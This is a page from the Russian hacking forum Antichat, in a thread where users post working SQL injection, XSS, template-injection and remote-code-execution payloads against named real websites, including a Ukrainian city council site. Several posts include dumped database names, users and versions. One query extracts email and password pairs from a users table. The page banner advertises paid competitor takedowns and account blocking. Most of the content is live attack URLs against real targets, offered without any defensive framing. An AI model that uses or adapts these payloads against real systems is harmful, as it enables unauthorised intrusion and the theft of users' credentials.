Уязвимости SQLi, XSS и другие.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости SQLi, XSS и другие.

Страница 32 из 35

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#311

03.03.2019, 12:38

BenderMR

Познающий

Регистрация: 23.02.2019

Сообщений: 65

С нами: 3801206

Репутация: 10

SQLi:

SoftwareOnRent

Код:

http://softwareonrent.com/product.php?id=45%27%20union%20select%201,2,3,4,5,6,concat_ws(0x7c,database(),%20user(),version()),8,9,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--+&catid=1&compid=135

SOR|SORuser@localhost|5.5.56-MariaDB

Код:

http://softwareonrent.com/product.php?id=45%27%20union%20select%201,2,3,4,5,6,group_concat(column_name),8,9,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27--+&catid=1&compid=135

SecurityDealOnline

Код:

http://securitydealonline.com/list.php?id=-19%20and%20extractvalue(0x0a,concat(0x0a,(select%20concat_ws(0x7c,database(),version()))))--+

bluewings|bluewings1@localhost|5.6.39-cll-lve

Код:

http://securitydealonline.com/list.php?id=-19%20and%20extractvalue(0x0a,concat(0x0a,(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20)))--+

BrandTagz

Код:

http://www.brandtagz.com/products.php?category=-men%27%20union%20select%201,concat_ws(%27|%27,%20database(),user(),version()),3,4,5,6,7,8,9,10,11--+&&product=Dress%20Shirts

[brandtag|brandtag@localhost|5.6.39-cll-lve]

Код:

http://www.brandtagz.com/products.php?category=-men%27%20union%20select%201,%20group_concat(concat_ws(':',email, password),0x0a),3,4,5,6,7,8,9,10,11%20from user--+&&product=Dress%20Shirts

#312

08.03.2019, 11:58

BenderMR

Познающий

Регистрация: 23.02.2019

Сообщений: 65

С нами: 3801206

Репутация: 10

Rcadia

Код:

http://www.rcadia.com/page.php?pageID=-23%20union%20select%2012,3,4,5,concat_ws(0x7c,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19

rcadia2@rogueriver.dreamhost.com|rcadia2|5.6.34-log

Городской совет, Черкассы

Код:

http://chmr.gov.ua/myrada/html/195784.php?id=-195784%20/*!50000uNioN*/%20select%20concat_ws(0x7c, database(),user(),version())--+

myrada|myrada@ns1|5.5.24-log

Индусо шоп

Код:

https://www.royalenterprises.co.in/category.php?cid=9%27%20/*!50000uNiOn*/+/*!50000sElEcT*/+%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+

myp13eyd_royal2|myp13eyd_royal2@localhost|5.6.32-78.1

Код:

https://www.royalenterprises.co.in/category.php?cid=-9%27%20/*!50000uNiOn*/+/*!50000sElEcT*/+%201,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18 from /*!50000infoRmAtiOn_sChEma*/.tables+/*!50000WhErE*/+/*!50000table_schema*/=database()--+#

#313

16.03.2019, 16:20

RWD

Участник форума

Регистрация: 25.04.2013

Сообщений: 153

С нами: 6868406

Репутация: 2

way.com

Код:

https://shuttle.way.com/waypanel/drivers/track-drivers-by-parking.php?pid=844
Parameter: pid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=844' AND 3141=3141 AND 'gxfZ'='gxfZ

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pid=844' AND SLEEP(5) AND 'tJKn'='tJKn
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12

Код:

http://www.alicetinting.com.au/pop.php?ID=37 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178766271,(SELECT (ELT(8597=8597,1))),0x716a707171,0x78))s), 8446744073709551610, 8446744073709551610)))

#314

28.07.2019, 20:58

crlf

Постоянный

Регистрация: 18.03.2016

Сообщений: 663

С нами: 5344886

Репутация: 441

Код:

https://temp-mail.org/en/?email="/onfocus='alert`lul`'/autofocus="@tmailcloud.net

#315

04.09.2019, 14:21

lifescore

Постоянный

Регистрация: 27.08.2011

Сообщений: 640

С нами: 7742486

Репутация: 72

rce (=

.SpoilerTarget" type="button">Spoiler: oops
шттп://www.t| u | torialspoint.com/

Stat on similarweb =)

PoC

.SpoilerTarget" type="button">Spoiler: query with params

Код:

from base64
UE9TVCBodHRwczovL3RwY2cudHV0b3JpYWxzcG9pbnQuY29tL3RwY2cucGhwIEhUVFAvMS4xCkNvbnRlbnQtTGVuZ3RoOiA3MgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZApIb3N0OiB0cGNnLnR1dG9yaWFsc3BvaW50LmNvbQoKbGFuZz1zaCZkZXZpY2U9JmNvZGU9LewmZXh0PXNoJmNvbXBpbGU9MCZleGVjdXRlPWVudiZtYWluZmlsZT1leGVjJnVpZD0x

#316

08.11.2019, 15:12

Pop-Xlop

Новичок

Регистрация: 26.08.2019

Сообщений: 20

С нами: 3536246

Репутация: 8

ZoneAlarm

[CODE]
https://forums.zonealarm.com/ajax/render/widget_php
POST:
widgetConfig

Код:

=phpinfo();

#317

15.02.2020, 20:28

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Blind XSS в админке Hostinger, простите за ру сайт

https://crm.hostinger.io/client/29640132

PS: Зарепортил сказали спасибо и продлили хостинг на один месяц

#318

25.03.2020, 19:50

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Есть такой кардер который украл 36 милионов $ и отсидел 10 лет, сейчас у него канал на ютубе "Люди PRO", сам смотрю )

У него свой кэшбэк сервис в котором минут за 5 нашел Server side template injection, правда полезную нагрузку вывесть не смог (

https://secretdiscounter.com/ru/sear...&query={{7*7}}.

+ XSS

https://secretdiscounter.com/ru/"//>alert(5)

#319

27.03.2020, 18:31

sepo

Новичок

Регистрация: 25.04.2010

Сообщений: 0

С нами: 8445343

Репутация: 0

General Inspectorate for Emergency Situations

Генеральная инспекция для чрезвычайных ситуаций

Код:

https://www.igsu.ro/index.php?pagina=materiale_preventive%3E%3Cscript%3Ealert(666)%3C/script%3E

#320

27.03.2020, 18:44

sepo

Новичок

Регистрация: 25.04.2010

Сообщений: 0

С нами: 8445343

Репутация: 0

Promotora Española de Lingüística (Proel)

Код:

http://www.proel.org/index.php?sw=%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&pagina=searchresult

Страница 32 из 35

« Первая

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход